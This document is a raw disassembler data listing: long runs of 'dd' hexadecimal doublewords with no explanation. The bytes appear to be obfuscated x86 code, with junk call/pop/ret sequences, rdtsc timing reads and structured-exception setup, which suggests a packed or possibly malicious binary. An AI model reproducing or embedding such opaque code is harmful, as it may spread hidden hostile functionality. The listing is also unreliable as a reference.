dd 0F01061Fh, 45284h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1604h, 0C3574700h, 8091623Fh, 0C3809BE3h
dd 7DBD832Ch, 3061F13h, 3EB860Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0B67081C3h
dd 0A1E04FDCh, 8B0FE698h, 6, 13C98529h, 840F061Fh, 0Bh
dd 5870Fh, 0EFBF0000h, 606B36D5h, 30299529h, 8C66061Fh
dd 0C810FD9h, 0E9000000h, 7, 1D8745BDh, 8BA6FDFAh, 1F2E059Dh
dd 4E18006h, 41C38166h, 0FC90A09h, 15A84h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 0AC73B6C1h, 818D89C9h, 60061F18h, 0FEADA80h, 688h, 0B1852900h
dd 61061F31h, 0DC1858Bh, 8533061Fh, 61F2EC9h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 81C35040h, 0B7DF0AD3h
dd 8B609085h, 7E956FEh, 43000000h, 9E2AF47Ah, 615B1EFFh
dd 0BD8B9050h, 61F074Dh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 8A1779C3h, 8B667E3Ah
dd 0A2A68FBh, 481E2F0h, 2EF9D524h, 0B595891Dh, 0FF061F0Dh
dd 1F2DE195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1C04h, 0C3574700h, 630E6EA6h, 7FB21A42h, 718D8935h
dd 89061F31h, 22B25585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 0FC67FEDh, 10E8D8BFh
dd 6B000000h, 0B597030Ch, 8B496705h, 8452F3A6h, 0E9578DB9h
dd 0Dh, 4EF10179h, 1F01DF5Bh, 8DE13461h, 0DFE95B0Fh, 6A000001h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h
dd 45000000h, 0F42BC355h, 8BF21C25h, 22B24D85h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 5D4B0675h, 1800C7h, 0BD310000h, 61F3259h, 0B251B58Bh
dd 6A0622h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
dd 51410000h, 0BEB81DC3h, 0DFC75829h, 9B589DDh, 8B061F16h
dd 1F13A185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 1CF66B55h, 0E8C4AA35h, 49958911h
dd 89061F2Ah, 68A0F06h, 89000000h, 1F2DF995h, 0C1858B06h
dd 8B061F0Dh, 44689FBh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 61C35040h, 820F8Ch, 8B000000h, 1F19A9BDh
dd 0EE89606h, 3D000000h, 869E628h, 7C0449E6h, 0EB43999Eh
dd 0F48A60FAh, 0BF505F61h, 4EA12A30h, 50006A96h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 37A8C223h, 0DE9h, 4849D200h, 0A7348F61h, 0DBFD6126h
dd 0B5FF0C55h, 622B24Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 0D5C35646h, 561BFA4Bh, 2CA58501h, 0E85F061Fh
dd 4, 1F03FFh, 0DE85250h, 0C9000000h, 4F41F427h, 9A16C87Fh
dd 332F59DDh, 0F5FF8B3h, 810F5731h, 0
dd 50585A5Fh, 5E9h, 32967200h, 448BC975h, 0FA8B0424h, 2BBB008Bh
dd 895ACEB9h, 0BF042444h, 52E99AF4h, 55858D58h, 0BF0622B2h
dd 33460D19h, 5062B790h, 15858990h, 0FF061F15h, 1F2DE195h
dd 710FBB06h, 80616375h, 85C74DDFh, 61F137Dh, 3, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B8C35646h, 0A3BF6642h
dd 55BD83ADh, 622B2h, 23840Fh, 8B0F0000h, 15h, 10E9h, 39C56D00h
dd 52D4F6B3h, 9936B4CFh, 26E23D2Bh, 1EE9B6h, 0CF800000h
dd 0C305059h, 11440011h, 10E8C101h, 2114430h, 3114C00h
dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h
dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
dd 0C08B00EBh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 0CC35646h, 64393C06h, 805798CBh, 6A5BBCD7h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 0EF60C351h, 83680066h, 1F137DBDh, 850F0306h, 3BEh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0E0C35646h, 56CA761Fh
dd 5BFA8B66h, 0B255BD83h, 0F000622h, 38D84h, 5820F00h
dd 66000000h, 7DC5E781h, 0B255B5FFh, 6A0622h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0CD6F04C3h
dd 36693C56h, 95FFF98Ah, 61F1BC9h, 14E9h, 0FBA6C300h, 0AF920F1h
dd 9373CB3Dh, 38BD47E4h, 0F67A356Ch, 49B58BCDh, 6A0622B2h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 0EAFAC356h, 6830F6Ah, 89000000h, 1F1D0195h
dd 106C706h, 0B000100h, 1F0DB19Dh, 8B579606h, 66505FF8h
dd 8096FE8Bh, 0B5891BC7h, 61F0A0Dh, 0B255B5FFh, 94B30622h
dd 162195FFh, 6A061Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 4E7A5DC3h, 0BD8B718Eh, 61F0C71h
dd 285BD8Bh, 0B58B061Fh, 622B249h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 19C35242h, 0F1858B6Eh, 6A061F2Fh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h
dd 40000000h, 803C350h, 39BAF9F0h, 0FA4DE27Ah, 539BBB66h
dd 30559589h, 8689061Fh, 0C4h, 0A719D89h, 958B061Fh, 61F0B5Dh
dd 8840Fh, 890F0000h, 2, 0C2836160h, 859D8904h, 89061F0Dh
dd 8D892050h, 61F23E9h, 0C797858Dh, 9D890622h, 61F18F1h
dd 0B88689h, 0F8570000h, 51006A5Fh, 2BF5B589h, 0FF5B061Fh
dd 22B255B5h, 6890F06h, 89000000h, 1F13B58Dh, 5595FF06h
dd 6A061F2Fh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 81CBC350h, 3F2FD59Dh, 8B524773h
dd 1F1FF59Dh, 50965F06h, 13E8h, 0C8181500h, 0AB66D839h
dd 736421D6h, 3FDBAFDAh, 0C99D8D4Fh, 6A965Fh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0CAB0D4C3h
dd 0A4AB5CE4h, 0F516904h, 683h, 4DB50900h, 5B061F03h, 266D8D89h
dd 0B5FF061Fh, 622B255h, 1CE1BD8Bh, 95FF061Fh, 61F0E1Dh
dd 729ABB66h, 2C0DBD83h, 0F00061Fh, 7684h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 46DC1F06h, 0A98E76ABh, 8BFEBF0Fh, 1F2C359Dh, 52505006h
dd 0FD98B66h, 0FE931h, 0CFB20000h, 9663C294h, 8E795FE1h
dd 91EBF02Ah, 89585A1Bh, 6A2434h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 5FCA2DC3h, 7B4CCAA8h
dd 669F6301h, 0FFDF8FBFh, 22B255B5h, 0B58B6006h, 61F1405h
dd 0FF61A3B2h, 1F134995h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 9950369Dh
dd 4689B17Dh, 6CDF81FEh, 0FF1B4C22h, 22B255B5h, 0EE906h
dd 49730000h, 6A41E9EFh, 435200B0h, 31F9891Ah, 107595FFh
dd 6A061Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 0B0FC7DC3h, 68493202h, 0BD831DADh, 61F0009h
dd 3B840F02h, 60000000h, 0F35BD8Bh, 8B61061Fh, 51858BD9h
dd 8B061F17h, 1F2FB59Dh, 0C606h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 14h, 0BBC35242h, 810Fh, 85C70000h
dd 61F1291h, 0
dd 4BE9D88Bh, 0F8FFFFF4h, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 0D29D2CC3h, 0BE9h, 82E10300h
dd 0DA105207h, 43E9D1AEh, 0AE9h, 0B5943800h, 116971E4h
dd 8DD1E95Fh, 1F19BD85h, 8F0F9006h, 10h, 0BE9h, 1106AB00h
dd 936DF13Eh, 28C9033Eh, 8B525050h, 0E8310FFBh, 0Eh, 0A9E86C1Dh
dd 191B8763h, 6E2C83F4h, 0BF66F434h, 5A5FF3A3h, 850F9058h
dd 4, 8E3CBF66h, 8166006Ah, 6A15E5D3h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 0E74C9644h, 65858D97h, 6A0623FAh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 9B6EC355h
dd 0DBA4A084h, 5EBB412h, 128EBF66h, 8B05C083h, 1F11F59Dh
dd 0F88B5006h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 3FFC357h, 9F653618h
dd 0F38032B2h, 89006AE9h, 1F2B158Dh, 29006A06h, 1F13999Dh
dd 6195FF06h, 6A061F01h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 0AEBAC357h, 0E0997DF1h
dd 8B9ABE0Bh, 1F20BDBDh, 0F28D8D06h, 890622B1h, 1F0C698Dh
dd 0BF665606h, 0FF5B5CAAh, 57006AD1h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0C283E288h
dd 0BD83F5C8h, 61F0EF5h, 72850F01h, 0F000000h, 38Ah, 0D98B6600h
dd 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
dd 55450000h, 0FFE66C3h, 681h, 6DBD0300h, 50061F1Ah, 6E8h
dd 907A5700h, 0BF27E025h, 3727562Eh, 2404895Fh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0F1C35040h, 0B70FF567h
dd 5595FFFBh, 8B061F2Fh, 0D6DE9DEh, 0E80000h, 5D000000h
dd 0FA6FED81h, 6A0623h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 6661CFC3h, 0EE8FB8Bh, 11000000h
dd 2EB2BFFh, 0E944FBEBh, 0E156C18h, 0FD8D8918h, 5F061F0Dh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 50C35747h
dd 0E94458E0h, 6, 595F011Fh, 858DC8B9h, 6228EE4h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 45C35545h, 0FDFA1D87h
dd 50DD0DA6h, 6A240489h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 0F0D7C351h, 716508FEh
dd 0FF64B038h, 35h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 9D8BDFC0h, 61F1571h, 258964h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 0F44BC350h, 0EAF94005h, 1DE19589h
dd 0FFF9061Fh, 1F102985h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0BFE8F2F5h
dd 0D59D8BC0h, 6A061F0Ah, 55006AFFh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0C0DB027Bh
dd 0B5FFE341h, 61F1575h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 8C35343h, 5BE78128h, 0FF128CC5h, 1F1CED95h
dd 0FEE906h, 0BD8B0000h, 61F1101h, 816600B0h, 0E6E07CCBh
dd 0F606070h, 8Ah, 0FE900h, 80B0000h, 0AE8E35E8h, 0AB95207Dh
dd 0B7C6C35Fh, 0F38B61D2h, 6071E461h, 2C71BD8Bh, 0F281061Fh
dd 3D0B608Fh, 0F613C61h, 0B783h, 81958900h, 0F061F11h
dd 9D89C8B6h, 61F0FA5h, 6BAh, 98D8900h, 8B061F15h, 1D9531C1h
dd 89061F17h, 1F071D95h, 4E8C106h, 8BE2F766h, 33C82BFBh
dd 1F303DBDh, 0FD18B06h, 75E9FABFh, 8B000000h, 1F08D59Dh
dd 50858B06h, 8947554Ch, 1F14E98Dh, 7C08306h, 0C437D381h
dd 0C0830E2Ah, 4D9D8900h, 3B061F27h, 12830FD0h, 81000000h
dd 1B5F0E3h, 3EE966h, 33F90000h, 1F0A0DBDh, 0FF8D8B06h
dd 66FFFFFFh, 0A69F381h, 0F01E183h, 2384h, 219D3300h, 8A061F2Fh
dd 0FFA583DCh, 0FEFFFFFFh, 89DA8B66h, 554C5095h, 0F9BD8B47h
dd 0E9061F13h, 0
dd 7B8EB58Dh, 8B600623h, 61EC8AD9h, 9D01006Ah, 61F15ADh
dd 1D4595FFh, 0BF0F061Fh, 59D33FFh, 0B9061F08h, 0F95h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 29C35343h
dd 58D0E6F1h, 66E2DB14h, 8373C9BFh, 6AFCE1h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 93060DC3h
dd 0AFD03369h, 0FCF38CF1h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 0C3C35141h, 7DBEA455h, 0B9BD8Bh, 0C02B061Fh
dd 2DA59D89h, 0D22B061Fh, 6800Fh, 0D7810000h, 7C671518h
dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 23119D89h, 6A061Fh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 4D3EB5C3h, 0C3D68D7Eh, 890F7D2Fh, 0Ch, 6850Fh, 8D890000h
dd 61F2061h, 622BB66h, 880Dh, 0BD89F800h, 61F242Dh, 0B5D958Bh
dd 0CB81061Fh, 5FCE2AE8h, 20C58D8Bh, 6A061Fh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 60AB67C3h
dd 30C5BD89h, 870F061Fh, 6, 2FD9D01h, 5061061Fh, 188BC28Bh
dd 188BC103h, 0E8D1C18Bh, 188BC203h, 53006A58h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0FDC48519h
dd 8B05A880h, 1F3019BDh, 50FE8B06h, 5B19D89h, 835F061Fh
dd 1F078DBDh, 840F0006h, 62h, 0B8h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 90939FCCh
dd 0B08D8D64h, 0E9061F4Dh, 6, 8FDDC84Ch, 0E1FF8BD0h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 70C35242h, 3F4D3947h
dd 0EB906041h, 66DBBF0Fh, 0BD83DF8Bh, 61F137Dh, 0D0840F00h
dd 31000003h, 1F2EFD95h, 7DBD8306h, 1061F13h, 3D8840Fh
dd 89570000h, 1F2BE9BDh, 0BD835F06h, 61F137Dh, 8D860F03h
dd 6A000003h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 0FF5CC356h, 0D781664Ch, 0EB817763h
dd 4C16A809h, 830F5260h, 6, 8C0Fh, 665B0000h, 6AD98Ch
dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 9589A3C3h, 61F2E75h, 8104E180h, 3CA449E7h, 0FC90A7Fh
dd 13F84h, 31950100h, 8B061F12h, 1F0DC185h, 68F0F06h, 9000000h
dd 1F32E5BDh, 0C9853306h, 57061F2Eh, 2F058589h, 905B061Fh
dd 0EE9h, 74422D00h, 0FA330B23h, 0ACF63B33h, 501ABFE2h
dd 90F98B66h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 0C3E5CBC3h, 0F53B0884h, 0B6D0BF66h
dd 4E8h, 1F03FF00h, 8E800h, 35590000h, 0E0E1B1C5h, 505B0B03h
dd 0EF0FBF66h, 424448Bh, 178F0Fh, 12E90000h, 0D5000000h
dd 7A46CD5Fh, 0A36E7519h, 33712E7Bh, 0FC4DFF8h, 66008BA0h
dd 89C4E2BBh, 0E9042444h, 5, 13BD1810h, 6A5878h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 0B0B03AC3h, 48211216h, 830Fh, 95FF0000h, 61F2DE1h, 0A899509h
dd 0BE9061Fh, 4E000000h, 9E318BB2h, 9E3FA434h, 8589F0FAh
dd 622B255h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 14h, 0C7C35545h, 10E9h, 64EE9E00h, 0A98A4406h, 7E0D017Dh
dd 8153E4Dh, 17BE9C2h, 0BD310000h, 61F0F55h, 0B24D858Bh
dd 0BF0F0622h, 1800C7D9h, 0B7000000h, 51B58BF9h, 6A0622B2h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 954AC355h, 996FB8Dh, 13A1858Bh, 6A061Fh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 0C71C48C3h, 6A0689h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 82D6AAC3h, 13E9B6h, 0A02A0000h
dd 0BCEE264Ah, 0ED1942B0h, 9BEC8CDCh, 0DDC776B2h, 0C1858B64h
dd 6A061F0Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 3240C351h, 0AC087F8Fh, 89DE920Ch
dd 0B5890446h, 61F1345h, 0FA8B6650h, 6A243489h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 9C1FC357h, 0B40BC63Fh, 0FCED4122h, 0B24DB5FFh, 0B5890622h
dd 61F0801h, 38F0Fh, 8B660000h, 145268FEh, 72B33FEDh, 0AD243481h
dd 6A3FF217h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 0AFBEC353h, 8B73687Fh, 1F0E85BDh
dd 55858D06h, 8B0622B2h, 0BF6690D8h, 0E9505A52h, 11h, 23C96C8Ch
dd 997B04CEh, 38F98E46h, 680445E8h, 0F60909Eh, 48Fh, 0EEBE6600h
dd 95FF61DDh, 61F2DE1h, 6A61F5h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 95C45DC3h, 26799D8Bh
dd 85C7061Fh, 61F137Dh, 3, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 67C35040h, 219D8951h, 5B061F20h, 0B255BD83h
dd 0F000622h, 0B84h, 0ED9D0B00h, 0E9061F2Fh, 1Bh, 110C3050h
dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 0E9C08B00h, 9, 0E6A2BA88h
dd 3B3BA683h, 8166603Eh, 89B314C0h, 1F12C58Dh, 0BD836106h
dd 61F137Dh, 52850F03h, 56000004h, 1D0D9D0Bh, 835F061Fh
dd 22B255BDh, 840F0006h, 43Dh, 8B3EDF81h, 0A9BF68BBh, 0FF0313D3h
dd 22B255B5h, 0BE906h, 88CF0000h, 0A84299AFh, 4551F4B7h
dd 898D89E3h, 0FF061F1Dh, 1F1BC995h, 9D8B5106h, 61F02FDh
dd 49B58B5Fh, 330622B2h, 1F14A5BDh, 106C706h, 2B000100h
dd 1F07D9BDh, 66609606h, 0F57F28Bh, 8Bh, 50615F00h, 4C6CC2BBh
dd 8950962Ah, 1F1565BDh, 0B5FF5B06h, 622B255h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0E3C35040h, 95FFD98Ah
dd 61F1621h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 58C35040h, 24734ED9h, 0CCB2C91Dh, 49B58B0Dh, 890622B2h
dd 1F0D65B5h, 0F1858B06h, 6A061F2Fh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C8DEC352h
dd 8B2F158Fh, 1F0FB5BDh, 0D88B6606h, 0C48689h, 9D310000h
dd 61F1C45h, 0B5D958Bh, 8D89061Fh, 61F231Dh, 6A04C283h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 8977C357h, 0B70F2050h, 97858DF9h, 0F0622C7h
dd 8689FEBFh, 0B8h, 6E860h, 6F300000h, 2FD7FE79h, 1CF1B589h
dd 0B5F061Fh, 1F208DB5h, 6A6106h, 0EE8h, 0EE6E4600h, 986D7434h
dd 0D1A80CA2h, 0E96C50C3h, 14h, 4103F6C8h, 16F994FCh, 0EECFACD9h
dd 2C3D054Bh, 3C01AA20h, 55B5FF5Bh, 0E90622B2h, 12h, 0B1BAC186h
dd 17AE88C8h, 0A5AC8F69h, 0CD9FE6F6h, 95FF5306h, 61F2F55h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0AC35747h
dd 61BD2BC5h, 60061F02h, 1181B529h, 6660061Fh, 61F5F98Bh
dd 8C0F5061h, 0
aI4J db '‰4$j',0
db 55h, 0E8h, 3
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 5038C355h, 28B0Fh, 5F510000h, 55B5FF5Bh, 6A0622B2h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 0FABCC351h, 1E870F46h, 0E8000000h, 12h, 81E1E08Fh
dd 127FD9DBh, 3044D4D0h, 2559C328h, 858995EFh, 61F1A5Dh
dd 1D95FF5Bh, 8B061F0Eh, 1F326D9Dh, 0DBD8306h, 61F2Ch
dd 44840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 0C1412EC3h, 3EE04623h, 50C89BB2h
dd 0BE605250h, 72BD5ACh, 310F5250h, 0F61585Ah, 5AFE8A31h
dd 24348958h, 0E6D9D8Bh, 0B5FF061Fh, 622B255h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0AEC35040h, 0FED703Eh
dd 686h, 0B9B58900h, 0FF061F1Fh, 1F134995h, 659D8906h
dd 0FF061F1Dh, 22B255B5h, 7B96006h, 0F0CD99Ah, 688h, 820F00h
dd 61000000h, 107595FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 1F769AC3h, 0E063E4Ch
dd 14E84Bh, 0AD300000h, 12566BF5h, 75C5B161h, 21276C42h
dd 9D9627CBh, 8D293284h, 61F1FFDh, 13E95Fh, 816B0000h
dd 0C1D2703Dh, 0A7A7EB4Eh, 6BC24C23h, 7A41D9F5h, 9BD835Ah
dd 2061F00h, 98840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 2F22A2C3h, 8BF85582h
dd 1F175185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1404h, 0C3564600h, 0EE899h, 127F0000h, 3044D4D0h, 2559C328h
dd 6E5095EFh, 0C65BFB8Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 1C44C0C3h, 11E8BEE3h
dd 3B000000h, 0E522D59h, 87AD1ADFh, 0D650C75h, 111E629Ah
dd 88DB2FBBh, 85C75B7Ah, 61F1291h, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 47C35040h
dd 8B1A21F4h, 93BB66FAh, 0F415E961h, 8960FFFFh, 1F240D85h
dd 61DE8B06h, 68D0Fh, 9D8B0000h, 61F1A0Dh, 6AC18Bh, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 0D07E66C3h, 198D89C0h, 8D061F0Bh, 1F19BD85h, 358D3106h
dd 8B061F23h, 1F32D59Dh, 5BBB5006h, 896C38D5h, 6A2404h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 6AB7C3h, 0BE9h, 57FC4A00h, 1525DF5Fh, 0F9614A0Dh, 6A006Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 5A7035C3h, 0FAD0B85Fh, 8BFA8B66h, 0D3858DDAh, 6A062409h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 5754C351h, 3EB178E7h, 9D8B7091h, 61F1EA9h
dd 48A0BB66h, 0BB05C083h, 5AF8CC10h, 13E850h, 1DB30000h
dd 4B94C68Eh, 0EB779D1Bh, 6119CE9Eh, 8ED385EEh, 2820F1Ch
dd 8B000000h, 4895BFAh, 13E924h, 0F7EB0000h, 9772F3C6h
dd 0C607366Ah, 6A77C683h, 0D1091416h, 6A006A32h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 0F5956D0h, 0BD03DFB7h, 61F16E9h, 2EA5BD8Bh, 95FF061Fh
dd 61F0161h, 5870Fh, 86BB0000h, 8D074F40h, 22B1F28Dh, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 0BE1DA3F8h, 8895D7B4h, 0BB66D1FFh, 8F0F65B9h, 6, 0DE59D8Bh
dd 0BD83061Fh, 61F0EF5h, 88850F01h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 2C7DC357h, 8614D560h, 6A30B0BAh, 7E902h, 0A7270000h
dd 387302A3h, 52509052h, 52505250h, 585A310Fh, 7FB3310Fh
dd 310F585Ah, 585AACB3h, 33609050h, 1F1709BDh, 79958906h
dd 61061F13h, 95952960h, 61061F2Dh, 2F5595FFh, 6A061Fh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 2D08B6C3h, 0E92CF380h, 0EB0h, 0E8h, 0ED815D00h, 62409DDh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0FCC35141h
dd 8D508A35h, 3BB9AA08h, 0C4BE60F5h, 6139CE4Dh, 8EE4858Dh
dd 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 0DEE3FCC3h, 0F98B6650h, 8B240489h, 1F0BB9BDh
dd 35FF6406h, 0
dd 2BCDBD89h, 8964061Fh, 25h, 0FE900h, 0C2A10000h, 0C15CDA2Eh
dd 81B6EF30h, 28D89BA2h, 2985FF3Bh, 6A061F10h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
dd 75C0C351h, 0DB2A7BDFh, 0FF6AC428h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 64C35646h, 5B5FFF8h, 8B061F01h
dd 0ED95FFF8h, 0E9061F1Ch, 10Ah, 2A51B589h, 0B0061Fh, 0FE9h
dd 213A2F00h, 426043E0h, 79F2CC69h, 92CE099Bh, 0BD8B70E6h
dd 61F1449h, 43BB71E4h, 3C4C37DBh, 0D7830F61h, 8B000000h
dd 0C8B60FFAh, 0BAFB8B66h, 6, 2FDB531h, 9D8B061Fh, 61F2AB9h
dd 0BD8BC18Bh, 61F1181h, 8904E8C1h, 1F0AD1B5h, 0E2F76606h
dd 0C82BD88Bh, 7956F781h, 0D18B75C3h, 97E906B3h, 0E8000000h
dd 10h, 15836BB0h, 84B6A87Bh, 989813DDh, 654353E7h, 0F8B70F52h
dd 858B5F5Fh, 44004E49h, 2EB59589h, 0C083061Fh, 76EF8107h
dd 837EF266h, 830F00C0h, 6, 2C9DBD8Bh, 0D03B061Fh, 0B830Fh
dd 8B660000h, 48E9D8h, 8B660000h, 0FF8D8BFBh, 0E8FFFFFFh
dd 0Dh, 31FBE60Ah, 7BA155EEh, 0C34E6944h, 0FBB70F67h, 1E1835Fh
dd 20840Fh, 0BD0B0000h, 61F18D1h, 0FFFFA583h, 0FFEFFFFh
dd 9589FEBFh, 44004E49h, 10EB8166h, 0E99Dh, 0B58D0000h
dd 6238B23h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 0C0C35646h, 0F5BFC366h, 0BD8BA705h, 61F1CE9h, 2B09BD8Bh
dd 6A061Fh, 68E0Fh, 85890000h, 61F110Dh, 1D4595FFh, 6A061Fh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 9E8AE3C3h, 0D8B91C5Fh, 0E900000Fh, 13h, 56411DECh, 11825318h
dd 3ECFFC22h, 0C74B40A7h, 8359B4D8h, 0DD8AFCE1h, 50006AFCh
